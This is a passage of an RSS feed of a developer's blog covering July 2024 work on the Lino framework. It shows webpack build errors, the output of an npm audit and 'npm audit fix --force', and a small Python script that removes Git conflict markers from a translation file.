documentation to be copyrighted by GitHub. It triggers my &lt;a class="reference external" href="https://hw.saffre-rumma.net/defs/daniel/#term-Daniel-syndrome" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;Daniel
syndrome&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0723.html</guid><pubDate>Tue, 23 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, July 20, 2024</title><link>https://luc.lino-framework.org/blog/2024/0720.html</link><description>&lt;section id="saturday-july-20-2024"&gt;
&lt;h1&gt;Saturday, July 20, 2024&lt;a class="headerlink" href="#saturday-july-20-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Continued from &lt;a class="reference internal" href="0717.html"&gt;&lt;span class="doc"&gt;Wednesday, July 17, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is my current problem when I try to run &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@yoga:~/work/react$ npm run build

&amp;gt; lino_react@24.5.0 build
&amp;gt; NODE_OPTIONS=&amp;#39;--max-old-space-size=8192&amp;#39; webpack --mode production

assets by status 3.82 MiB [cached] 50 assets
Entrypoint main = main.runtime.430b48360e2c8f3437a2.js main.30cfd4b61f5cb674be23.js 2 auxiliary assets
orphan modules 438 KiB [orphan] 58 modules
runtime modules 12.1 KiB 14 modules
modules by path ./node_modules/ 4.48 MiB (javascript) 241 KiB (asset)
  javascript modules 4.48 MiB 165 modules
  asset modules 210 bytes (javascript) 241 KiB (asset)
    ./node_modules/primeicons/fonts/primeicons.eot 42 bytes (javascript) 70.7 KiB (asset) [built] [code generated]
    ./node_modules/primeicons/fonts/primeicons.woff2 42 bytes (javascript) 29.5 KiB (asset) [built] [code generated]
    + 3 modules
modules by path ./lino_react/react/ 494 KiB 38 modules
modules by mime type image/png 357 bytes
  data:image/png;base64,iVBORw0KGgoAAAAN.. 179 bytes [built] [code generated]
  data:image/png;base64,iVBORw0KGgoAAAAN.. 178 bytes [built] [code generated]

LOG from InjectManifest
&amp;lt;i&amp;gt; The service worker at ../../config/react/service-worker.js will precache
&amp;lt;i&amp;gt;         0 URLs, totaling 0 B.

ERROR in ./lino_react/react/components/App.jsx 11:7-72
Module not found: Error: Can&amp;#39;t resolve &amp;#39;react-dom/client&amp;#39; in &amp;#39;/home/luc/work/react/lino_react/react/components&amp;#39;
Did you miss the leading dot in &amp;#39;resolve.extensions&amp;#39;? Did you mean &amp;#39;[&amp;quot;.tsx&amp;quot;,&amp;quot;.js&amp;quot;,&amp;quot;.json&amp;quot;,&amp;quot;.html&amp;quot;,&amp;quot;.ts&amp;quot;,&amp;quot;.jsx&amp;quot;,&amp;quot;.css&amp;quot;,&amp;quot;.mjs&amp;quot;,&amp;quot;.bmp&amp;quot;,&amp;quot;.gif&amp;quot;,&amp;quot;.jpg&amp;quot;,&amp;quot;.jpeg&amp;quot;,&amp;quot;.png&amp;quot;,&amp;quot;.woff&amp;quot;,&amp;quot;.woff2&amp;quot;,&amp;quot;.eot&amp;quot;,&amp;quot;.ttf&amp;quot;,&amp;quot;.otf&amp;quot;]&amp;#39; instead of &amp;#39;[&amp;quot;.tsx&amp;quot;,&amp;quot;.js&amp;quot;,&amp;quot;.json&amp;quot;,&amp;quot;.html&amp;quot;,&amp;quot;.ts&amp;quot;,&amp;quot;.jsx&amp;quot;,&amp;quot;.css&amp;quot;,&amp;quot;.mjs&amp;quot;,&amp;quot;.bmp&amp;quot;,&amp;quot;.gif&amp;quot;,&amp;quot;.jpg&amp;quot;,&amp;quot;.jpeg&amp;quot;,&amp;quot;.png&amp;quot;,&amp;quot;woff&amp;quot;,&amp;quot;woff2&amp;quot;,&amp;quot;eot&amp;quot;,&amp;quot;ttf&amp;quot;,&amp;quot;otf&amp;quot;]&amp;#39;?
 @ ./lino_react/react/index.js 1:0-42 2:0-6

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
7:7-17
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(7,8)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
8:7-19
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(8,8)
      TS2339: Property &amp;#39;WAIT_TIMEOUT&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
10:7-17
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(10,8)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
12:44-56
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(12,45)
      TS2339: Property &amp;#39;WAIT_TIMEOUT&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
21:7-11
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(21,8)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
23:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(23,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
29:21-25
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(29,22)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
30:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(30,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
35:7-13
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(35,8)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
36:17-21
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(36,18)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
38:17-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(38,18)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
54:17-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(54,18)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
61:17-21
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(61,18)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
14:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(14,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
15:21-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(15,22)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
19:21-25
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(19,22)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
20:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(20,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
35:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(35,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
14:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(14,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
18:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(18,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
19:21-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(19,22)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

22 errors have detailed information that is not shown.
Use &amp;#39;stats.errorDetails: true&amp;#39; resp. &amp;#39;--stats-error-details&amp;#39; to show it.

webpack 5.93.0 compiled with 22 errors in 15425 ms
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The message “Did you mean
‘[“.tsx”,”.js”,”.json”,”.html”,”.ts”,”.jsx”,”.css”,”.mjs”,”.bmp”,”.gif”,”.jpg”,”.jpeg”,”.png”,”.woff”,”.woff2”,”.eot”,”.ttf”,”.otf”]’
instead of
‘[“.tsx”,”.js”,”.json”,”.html”,”.ts”,”.jsx”,”.css”,”.mjs”,”.bmp”,”.gif”,”.jpg”,”.jpeg”,”.png”,”woff”,”woff2”,”eot”,”ttf”,”otf”]’?”
made me change the &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-webpack.config.js" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;webpack.config.js&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file where indeed the last five
extensions didn’t start with a dot. Seems that this was just an irrelevant
warning.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;packages.json&lt;/span&gt;&lt;/code&gt; talks much about “electron”. What’s that? Google gave
me &lt;a class="reference external" href="https://www.electron.build/"&gt;https://www.electron.build/&lt;/a&gt; and I tried to install it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;yarn&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="n"&gt;electron&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Lots of output, here are some chunks:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;! Corepack is about to download https://registry.yarnpkg.com/yarn/-/yarn-1.22.22.tgz
? Do you want to continue? [Y/n] Y

! The local project doesn&amp;#39;t define a &amp;#39;packageManager&amp;#39; field. Corepack will now add one referencing yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e.
! For more details about this field, consult the documentation at https://nodejs.org/api/packages.html#packagemanager

yarn add v1.22.22
info No lockfile found.
warning package-lock.json found. Your project contains lock files generated by tools other than Yarn. It is advised not to mix package managers in order to avoid resolution inconsistencies caused by unsynchronized lock files. To clear this warning, remove package-lock.json.
[1/4] Resolving packages...
...

[3/4] Linking dependencies...
warning &amp;quot; &amp;gt; autoprefixer@10.4.19&amp;quot; has unmet peer dependency &amp;quot;postcss@^8.1.0&amp;quot;.
warning &amp;quot; &amp;gt; ts-node@10.9.2&amp;quot; has unmet peer dependency &amp;quot;@types/node@*&amp;quot;.
warning &amp;quot;electron-builder &amp;gt; app-builder-lib@24.13.3&amp;quot; has unmet peer dependency &amp;quot;electron-builder-squirrel-windows@24.13.3&amp;quot;.
[4/4] Building fresh packages...
success Saved lockfile.
success Saved 885 new dependencies.
info Direct dependencies
├─ @babel/cli@7.24.8
├─ @babel/core@7.24.9
├─ @babel/plugin-transform-runtime@7.24.7
...

├─ yauzl@2.10.0
├─ yn@3.1.1
└─ yocto-queue@0.1.0
Done in 152.53s.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The warning “The local project doesn’t define a ‘packageManager’ field. Corepack
will now add one…”  makes me think that this is probably not the right way. If
Sharif had been using electron builder, the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;packageManager&lt;/span&gt;&lt;/code&gt; field would
already exist. So I removed that field again.&lt;/p&gt;
&lt;p&gt;I tried “npm audit fix”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm audit fix

up to date, audited 1831 packages in 2s

215 packages are looking for funding
  run `npm fund` for details

# npm audit report

babel-traverse  *
Severity: critical
Babel vulnerable to arbitrary code execution when compiling specifically crafted malicious code - https://github.com/advisories/GHSA-67hx-6x53-jw92
fix available via `npm audit fix --force`
Will install babel-plugin-transform-class-properties@6.10.2, which is a breaking change
node_modules/babel-traverse
  babel-helper-function-name  *
  Depends on vulnerable versions of babel-template
  Depends on vulnerable versions of babel-traverse
  node_modules/babel-helper-function-name
    babel-plugin-transform-class-properties  &amp;gt;=6.11.5
    Depends on vulnerable versions of babel-helper-function-name
    Depends on vulnerable versions of babel-template
    node_modules/babel-plugin-transform-class-properties
  babel-template  *
  Depends on vulnerable versions of babel-traverse
  node_modules/babel-template

json5  &amp;lt;1.0.2
Severity: high
Prototype Pollution in JSON5 via Parse Method - https://github.com/advisories/GHSA-9c47-m6qq-7p4h
fix available via `npm audit fix --force`
Will install webpack-typescript@0.5.5, which is a breaking change
node_modules/loader-utils/node_modules/json5
  loader-utils  &amp;lt;=1.4.0
  Depends on vulnerable versions of json5
  node_modules/loader-utils
    webpack-typescript  &amp;gt;=0.5.6
    Depends on vulnerable versions of loader-utils
    node_modules/webpack-typescript


quill  &amp;lt;=1.3.7
Severity: moderate
Cross-site Scripting in quill - https://github.com/advisories/GHSA-4943-9vgg-gr5r
fix available via `npm audit fix --force`
Will install quill@2.0.2, which is a breaking change
node_modules/quill
  quill-mention  &amp;lt;=4.1.0
  Depends on vulnerable versions of quill
  node_modules/quill-mention

ws  8.0.0 - 8.17.0
Severity: high
ws affected by a DoS when handling a request with many HTTP headers - https://github.com/advisories/GHSA-3h5v-q93c-6h6q
fix available via `npm audit fix --force`
Will install puppeteer@22.13.1, which is a breaking change
node_modules/puppeteer-core/node_modules/ws
  puppeteer-core  11.0.0 - 22.11.1
  Depends on vulnerable versions of ws
  node_modules/puppeteer-core
    puppeteer  18.2.0 - 22.11.1
    Depends on vulnerable versions of puppeteer-core
    node_modules/puppeteer

12 vulnerabilities (2 moderate, 4 high, 6 critical)

To address all issues (including breaking changes), run:
  npm audit fix --force
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I ran “npm audit fix –force” several times, the first time it gave a lot of
output similar to above, but after two or three runs it got kind of satisfied:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm audit fix --force
npm warn using --force Recommended protections disabled.
npm warn audit Updating babel-plugin-transform-class-properties to 6.10.2, which is a SemVer major change.

removed 20 packages, changed 2 packages, and audited 1796 packages in 3s

215 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

$ npm audit fix --force
npm warn using --force Recommended protections disabled.

up to date, audited 1796 packages in 2s

215 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I wondered whether it is maybe actually working. The only errors are in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/react/components/setupTests.ts&lt;/span&gt;&lt;/code&gt;, it’s possible that that they
aren’t important.   Sharif started to experiment with testing frameworks only
recently.&lt;/p&gt;
&lt;p&gt;But no. Because the files under :file: &lt;cite&gt;lino_react/react/static&lt;/cite&gt; haven’t
changed. I also made a minor change to one source file and
(&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;LinoToolbar.jsx&lt;/span&gt;&lt;/code&gt;), ran &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; again: still no change in the
static directory. So it’s sure that I need to also get rid of the remaining
error messages.&lt;/p&gt;
&lt;p&gt;The story continues on &lt;a class="reference internal" href="0729.html"&gt;&lt;span class="doc"&gt;Monday, July 29, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0720.html</guid><pubDate>Sat, 20 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Friday, July 19, 2024</title><link>https://luc.lino-framework.org/blog/2024/0719.html</link><description>&lt;section id="friday-july-19-2024"&gt;
&lt;h1&gt;Friday, July 19, 2024&lt;a class="headerlink" href="#friday-july-19-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I ran &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-mm" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;mm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt;, obviously for the first time since
20240521, because the Spanish &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-.po" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.po&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file was broken, it contained
hundreds of Git conflict markers. I guess that something went wrong with  &lt;a class="reference external" href="https://gitlab.com/lino-framework/lino/-/commit/44f64dda14f7d064f8427f0a1fb126d1274421fa#63629fb67b675cc4d641c374585fa18505d2a739"&gt;Joy’s
first commit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wrote a little Python script to remove the second part of every chunk:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="n"&gt;mark_start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;mark_middle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;=======&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;mark_end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; upstream/master&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;remove_upstream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;chunks1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mark_start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunks1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
    &lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;chunks1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;chunks2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;chunks1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mark_middle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunks2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
    &lt;span class="n"&gt;chunks3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;chunks2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mark_end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunks3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;chunks1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;chunks3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;chunks3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;remove_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remove_upstream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;You must specify at least one file to repair&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
